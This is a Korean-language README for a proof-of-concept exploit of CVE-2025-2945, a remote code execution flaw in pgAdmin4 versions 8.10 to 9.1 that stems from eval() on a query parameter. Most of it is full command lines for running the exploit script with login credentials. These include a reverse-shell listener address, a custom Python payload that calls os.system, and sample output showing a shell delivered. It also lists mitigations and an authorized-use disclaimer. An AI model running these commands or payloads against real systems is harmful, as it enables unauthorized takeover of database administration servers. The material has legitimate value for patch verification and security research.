
pgAdmin4 8.10~9.1 버전에 영향을 주는 원격 코드 실행(RCE) 취약점을 위한 익스플로잇입니다.
작성자: G0D150NE
버전: 2.0.0
CVE: CVE-2025-2945
심각도: 치명적 (CVSS 9.9)
버전 8.10~9.1에 영향을 주는 pgAdmin4 원격 코드 실행(RCE) 취약점에 대한 익스플로잇입니다.
이 취약점은 /sqleditor/query_tool/download 엔드포인트에 존재하며, query_commited 매개변수가 Python의 eval() 함수에 검증 없이 전달되어 임의 코드 실행을 허용합니다.
# Clone or download the script
git clone https://github.com/g0d150ne/CVE-2025-2945
cd CVE-2025-2945
# Install dependencies
pip install requests
기본 사용법
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
상세 출력과 함께
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
-v
사용자 정의 페이로드
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--custom-payload "__import__('os').system('whoami > /tmp/test.txt')"
버전 확인 건너뛰기
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--skip-version-check
· Python 3.6+ · requests 라이브러리
pip install requests
# Docker pgAdmin vulnerable version
docker run -d -p 5050:5050 \
-e [email protected] \
-e PGADMIN_DEFAULT_PASSWORD=admin123 \
dpage/pgadmin4:8.10
# Then run the exploit
python3 poc.py \
--target-url http://localhost:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀
▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌
▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌
▀▀▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌▐░▌
▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌▐░▌
▄▄▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀
CVE-2025-2945 - pgAdmin4 Authenticated RCE
Author: G0D150NE
Version: 2.0.0
[*] Target running vulnerable version 8.10
[*] Authenticating as [email protected]...
[+] Authentication successful
[*] Scanning for valid server (SGID: 7, max: 10)...
[+] Found valid server (SGID: 7, SID: 1)
[*] Initializing SQL editor (trans_id: 4827193)...
[+] SQL editor initialized
[*] Reverse shell payload to 10.10.14.7:4444
[*] Sending payload...
[+] Payload delivered (HTTP 500)
[*] Check listener at your endpoint
[+] Exploit successful!
[*] Check reverse shell on 10.10.14.7:4444
· pgAdmin4를 9.2 이상 버전으로 업그레이드 · pgAdmin 인터페이스에 대한 접근 제한 · 강력한 자격 증명 사용 · 가능하면 MFA 활성화
이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 명시적 허가 없이 시스템에 사용하는 것은 불법입니다. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
· CVE-2025-2945 · pgAdmin 보안 권고
MIT License
| 인수 | 필수 | 설명 |
|---|
| --target-url | 예 | pgAdmin4의 기본 URL (http://RHOST:PORT/) |
| --username | 예 | pgAdmin4 로그인 이메일 |
| --password | 예 | pgAdmin4 로그인 비밀번호 |
| --db-user | 예 | 데이터베이스 사용자 이름 |
| --db-pass | 예 | 데이터베이스 비밀번호 |
| --db-name | 예 | 데이터베이스 이름 |
| --Rhost | 예 | 리버스 셸용 리스너 IP |
| --Rport | 예 | 리버스 셸용 리스너 포트 |
| --max-server-id | 아니요 | 스캔할 최대 서버 ID (기본값: 10) |
| --skip-version-check | 아니요 | 버전 확인 건너뛰기 |
| --custom-payload | 아니요 | 사용자 정의 Python 페이로드 |
| --verbose, -v | 아니요 | 디버그 출력 활성화 |
| --no-banner | 아니요 | 배너 숨기기 |